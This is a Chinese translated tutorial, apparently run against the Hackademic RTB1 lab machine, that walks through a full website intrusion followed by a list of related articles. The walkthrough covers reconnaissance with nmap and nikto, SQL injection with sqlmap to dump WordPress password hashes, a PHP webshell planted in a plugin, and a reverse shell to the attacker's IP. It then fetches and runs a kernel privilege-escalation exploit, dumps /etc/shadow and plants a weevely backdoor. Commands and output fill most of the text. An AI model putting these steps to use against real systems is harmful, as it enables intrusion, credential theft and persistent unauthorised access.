黑客是怎样入侵你的网站的
转自http://www.freebuf.com/articles/web/7359.html
这个问题很难回答，简单的来说，入侵一个网站可以有很多种方法。本文的目的是展示黑客们常用的扫描和入侵网站的技术。
假设你的站点是：hack-test.com
让我们来ping一下这个服务器：
我们得到了一个IP地址：173.236.138.113 – 这是我们目标服务器的IP地址。
Sameip.org 可以帮助我们找到其他与这个服务器绑定的域名：
Same IP
26 sites hosted on IP Address 173.236.138.113
有26个站点在这台服务器上（173.236.138.113）。许多黑客会选择攻击在同服务器上的不同站点从而入侵到你的网站。但是出于为了学习目的，我们只选择入侵你的服务器。
我们需要从你的站点得到一下信息：
1.DNS记录（A,NS,TXT,MX 和SOA）
2.网站服务器的类型（Apache,IIS,Tomcat）
3.域名的注册信息（哪个公司拥有这个域名）
4.你的名字，地址，EMAIL和电话
5.你的网站上所运行的脚本类型（PHP,ASP,ASP.NET,JSP,CFM）
6.服务器的操作系统类型（Unix,Linux,Windows,Solaris）
7.服务器对外开放的端口（80,443,21,等）现在让我们来寻找网站的DNS记录。选择网站“Who.is”来实现这个目标。
我们发现站点上的DNS记录有：
让我们来检测一下网站服务器的类型：
我们可以看到，网站服务器用的是Apache. 稍后我们会检测Apache的版本。
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3 Month: 3.7接下来我们来寻找一下域名的注册信息：
我们得到了注册者以及其他重要的信息。我们可以用Whatweb来检测你的站点使用的是什么脚本语言以及操作系统类型和网站服务器的版本。
我们可以看到，网站使用的是WordPress，操作系统类型是Fedora Linux，网站服务器版本是Apache 2.2.15，下面我们来检测一下服务器上打开的端口：
我们使用Nmap：
1.检测服务器上运行着哪些服务：
root@bt:/# nmap -sV hack-test.comStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.0013s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware)Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds2.检测服务器的OS
root@bt:/# nmap -O hack-test.comStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.00079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp closed ssh80/tcp open http
MAC Address: 00:0C:29:01:8A:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22 (Fedora Core 6)
Network Distance: 1 hopOS detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds服务器只开放了80端口，操作系统是Linux 2.6.22(Fedora Core 6)
现在我们已经得到了所有重要的信息，接下来我们来做一下弱点测试，例如：sql注入，盲注，LFI,RFI,XSS,CSRF，等。
我们用Nikto.pl 来获取信息以及弱点：
root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com- Nikto v2.1.4---------------------------------------------------------------------------+ Target IP: 192.168.1.2
+ Target Hostname: hack-test.com
+ Target Port: 80
+ Start Time: 2011-12-29 06:50:03---------------------------------------------------------------------------+ Server: Apache/2.2.15 (Fedora)
+ ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6448 items checked: 1 error(s) and 6 item(s) reported on remote host
+ End Time: 2011-12-29 06:50:37 (34 seconds)---------------------------------------------------------------------------+ 1 host(s) tested
也可以使用W3AF,这个工具可以在Backtrack 5 R1中找到
root@bt:/pentest/web/w3af# ./w3af_guiStarting w3af, running on:
Python version:
2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3]
GTK version: 2.20.1
PyGTK version: 2.17.0w3af - Web Application Attack and Audit Framework
Version: 1.2
Revision: 4605
Author: Andres Riancho and the w3af team.
我们可以插入URL，选择full audit选项：
稍等片刻，结果就会出现。
网站存在着sql注入漏洞以及其他的漏洞。
让我们来深入一下sql注入：
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220这个地址就是注入点，
我们用sqlmap然后dump所有入侵所需要用到的数据库信息
sqlmap –u url
稍等片刻：
选择“n”继续：
网站的sql注入类型是error-based Mysql数据库的版本是5.
加上参数“-dbs”可以找出所有的数据库：
我们发现了3个数据库:
用dump –Dwordpress -tables导出wordpress数据库表
我们需要导出“wp_users”表来得到用户信息以及密码的hash，之后我们就可以尝试着去破解密码最终登陆到wordpress的后台。
使用参数 “-T wp_users –columns “
找到了22列的数据：
使用参数 -C user_login,user_pass –dump 来导出列。
之后我们就得到了账号密码。
接来使用这个网站来把MD5转换成明文密码（并不是所有HASH都能成功转换）
“http://www.onlinehashcrack.com/free-hash-reverse.php“
明文密码是： q1w2e3
用户名 “GeorgeMiller”让我们来登陆wordpress的后台：
现在我们来试着上传一个php webshell 用来在这台服务器上执行一些linux命令
编辑wordpress的“Textile”插件
编辑它
插入一个php webshell来代替一个真正的插件。之后点击上传，php webshell就被成功上传到服务器上了。
现在，PHP WEBSHELL就成功运行了。现在就可以浏览网站里所有的文件了，但是我们想得到服务器的root权限然后入侵其他的站点。
选择 在php webshell 里的“back-connect “然后连接到我们的ip “192.168.1.6″ 端口 “5555″
在我们点击连接之前，我们先得在本机上监听一个“5555”的端口
点击连接，我们会得到这样一个窗口：
我们来试一下linux的命令
id
uid=48(apache) gid=489(apache) groups=489(apache)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
ID命令用来告诉我们用户ID和用户组
Pwd命令能告诉我们现在所在的路径
uname –a 命令用来得到一些信息以及内核版本
好了，我们现在知道服务器的内核版本是2.6.31.5-127.fc12.1686
Ok, now we knew that server kernel version is 2.6.31.5-127.fc12.1686
我们可以在 exploit-db.com 找到针对这个版本的exploit
输入： “kernel 2.6.31 “
以上结果没有合适的，因为他们都不是用来提权的。下一个，就是它了！
http://www.exploit-db.com/exploits/15285
复制这个连接
http://www.exploit-db.com/download/15285
在netcat shell里输入：
wget http://www.exploit-db.com/download/15285 -O roro.c
--2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285
Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/15285/ [following]
--2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7154 (7.0K) [application/txt]
Saving to: `roro.c'0K ...... 100% 29.7K=0.2s
我们用wget命令来获取exploit-db.com的exploit，-O是重命名文件为：roro.c
Note:
Linux内核的exploits大多数都是用c语言开发的所以我们保存后缀名为.c ,直接浏览源文件就可以直接看见源码：
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>#define RECVPORT 5555
#define SENDPORT 6666intprep_sock(intport)
{ints, ret;
structsockaddr_in addr;s = socket(PF_RDS, SOCK_SEQPACKET, 0);if(s < 0) {
printf(“[*] Could not open socket.\n”);
exit(-1);
}memset(&addr, 0, sizeof(addr));All the above lines indicate that this is exploit is written in C language
After we saved our exploit on server, we will compile it to elf format by typing我们保存exploit在服务器上之后，我们可以编译它：
gcc roro.c –o roro然后执行exploit：
./roro[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...Id
这时候我们已经是root权限了。
uid=0(root) gid=0(root)
我们可以浏览 /etc/shadow file
cat /etc/shadow
root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::
bin:*:14495:0:99999:7:::
daemon:*:14495:0:99999:7:::
adm:*:14495:0:99999:7:::
lp:*:14495:0:99999:7:::
sync:*:14495:0:99999:7:::
shutdown:*:14495:0:99999:7:::
halt:*:14495:0:99999:7:::
mail:*:14495:0:99999:7:::
uucp:*:14495:0:99999:7:::
operator:*:14495:0:99999:7:::
games:*:14495:0:99999:7:::
gopher:*:14495:0:99999:7:::
ftp:*:14495:0:99999:7:::
nobody:*:14495:0:99999:7:::
vcsa:!!:14557::::::
avahi-autoipd:!!:14557::::::
ntp:!!:14557::::::
dbus:!!:14557::::::
rtkit:!!:14557::::::
nscd:!!:14557::::::
tcpdump:!!:14557::::::
avahi:!!:14557::::::
haldaemon:!!:14557::::::
openvpn:!!:14557::::::
apache:!!:14557::::::
saslauth:!!:14557::::::
mailnull:!!:14557::::::
smmsp:!!:14557::::::
smolt:!!:14557::::::
sshd:!!:14557::::::
pulse:!!:14557::::::
gdm:!!:14557::::::
p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7:::
mysql:!!:14981::::::浏览 /etc/passwd file
cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin
avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin
nscd:x:28:493:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
haldaemon:x:68:491:HAL daemon:/:/sbin/nologin
openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin
apache:x:48:489:Apache:/var/www:/sbin/nologin
saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin
smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin
sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:481::/var/lib/gdm:/sbin/nologin
p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash
mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash我们可以用“john the ripper”来破解用户的密码，但我们不会这么做。
黑客需要留一个后门在服务器上，方便以后访问。
这里，我们使用weevely来生成一个小型有密码的php后门，然后上传到服务器上来达到目的。
weevely 用法 :
root@bt:/pentest/backdoors/web/weevely# ./main.py -Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/Usage: main.py [options]Options:
-h, --help show this help message and exit
-g, --generate Generate backdoor crypted code, requires -o and -p .
-o OUTPUT, --output=OUTPUT
Output filename for generated backdoor .
-c COMMAND, --command=COMMAND
Execute a single command and exit, requires -u and -p
.
-t, --terminal Start a terminal-like session, requires -u and -p .
-C CLUSTER, --cluster=CLUSTER
Start in cluster mode reading items from the give
file, in the form 'label,url,password' where label is
optional.
-p PASSWORD, --password=PASSWORD
Password of the encrypted backdoor .-u URL, --url=URL Remote backdoor URL .
创建一个带密码的php后门
root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p kokoWeevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/+ Backdoor file 'hax.php' created with password 'koko'.
通过php webshell上传一个php后门
上传完毕之后我们使用一下命令来连接：
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p kokoWeevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/+ Using method 'system()'.
+ Retrieving terminal basic environment variables .[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins]
测试我们的 hax.php 后门
[via infosecinstitute 译Flamingo]
黑客是怎样入侵你的网站的相关推荐
- 如何防止网站被黑客入侵，避免网站被黑的防御方法
如果客户的企业网站被攻击了怎么办,因为做网站建设的朋友或者在维护网站的朋友都应该知道,有很多企业网站会经常被植入木马或是被黑客攻击,造成我们的网站打不开,或是打开后进入的不是我们公司自己的网站,而是链 ...
- 黑客借由入侵WordPress网站，使造访者计算机被植入恶意的Chrome扩充程序
近期有800多个WordPress网站遭植入恶意程序,网络安全业者Avast发现,这是一起复杂的攻击手法,先诱使造访遭入侵网站的用户安装假Java Runtime,最终将安装恶意Chrome扩充程序, ...
- 高调复仇还是虚张声势？黑客声称成功入侵安全公司的服务器
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 一名黑客声称成功入侵美国网络安全公司 Night Lion Security 的后台服务器,并盗取"数据泄露检测" ...
- 认识黑客常用的入侵方法
导读 在Interent中,为了防止黑客入侵自己的计算机,就必须了解黑客入侵目标计算机的常用方法.黑客常用的入侵方法有数据驱动攻击.系统文件非法利用.伪造信息攻击 以及远端操纵等,下面就简单介绍这些入 ...
- 软件和 IT 服务成美国收入最高行业；黑客组织 OurMine 宣称攻陷维基解密网站
(点击上方蓝字,快速关注我们) 参考:开源中国.solidot.cnBeta.成都商报.腾讯科技等 0.软件和 IT 服务成美国收入最高行业 据国外媒体报道,职业社交平台领英(LinkedIn)发布的 ...
- 世界顶级黑客，能入侵一台没有联网的电脑吗？
真正密级很高的电脑,不联网只是最最基本的要求.其它的,比如电脑所在房间要能够隔离电磁辐射,电脑不能随便使用U盘等外接存储介质,人员进入电脑所在房间时身上不能携带通信装置,等等等等. 光不联网,是无法杜 ...
- 最新WordPress漏洞，黑客可轻松控制您的网站
近日,我们收到了关于WordPress核心中一个未修补漏洞的提示,该漏洞可能允许低特权用户劫持整个网站并在服务器上执行任意代码,这个最新WordPress漏洞,黑客可轻松控制您的网站.由研究人员发现, ...
- 简单入侵收费电影网站
今天在网上闲逛,发现一篇帖子不错,是关于怎样入侵免费电影网站的过程,其实程序实现起来很简单,是用ASP写的,相信学过ASP程序的朋友应该都能看懂,具体内容如下: 近日学习sql injection,下 ...
- 格鲁吉亚过万网站被黑客通过供应链入侵挂黑页，总统个人主页也未幸免
点击蓝字 关注黑鸟 前言 国家介绍 Action 10月28日,格鲁吉亚遭到了大规模网络袭击,在此期间,超过15,000个网站遭到破坏,后来被迫下线. 这次袭击被当地媒体认为是该国历史上最大的一次袭击 ...
- 黑客之google入侵网站常用方式
利用google搜索关键字入侵漏洞网站 1.到GoogLe,搜索一些关键字,edit.asp? 韩国肉鸡为多,多数为MSSQL数据库! 2.到Google ,site:cq.cn inurl:asp ...
最新文章
- Cocoapods的安装以及使用(2)
- 入侵检测系统基础知识
- .net程序中资源文件的保护办法探讨
- 数据库面试题【十九、count(字段) count(主键 id) count(1)count(*)的区别】
- SAP UI5 myTask setBindingContext in SAP Fiori application
- ES6-8 - 函数名/对象拓展、描述符、getter/setter
- java ee规范_测试Java EE 8规范
- HDU 3572 Task Schedule
- vue.js能美化界面吗_vue将单页面改造成多页面应用的方法
- 【java】窗口和监听器的使用
- opencv 环境相关
- 23. Yii 组件事件
- 即时语音提示软件php,InsTalk-即时语音校对软件
- JAVA_HOME should point to a JDK not a JRE的一个解决办法
- PS笔记：调色部分理论基础
- iPhone11的计算机怎么用,iPhone11怎么自设铃声
- 专家推荐面渣逆袭：JVM经典五十问，这下面试稳了
- 用阿里云托管服务器怎么托管_云托管使企业更具竞争力的8个原因
- C语言输出不能被3整除
- 没经营过的公司怎么进行简易注销？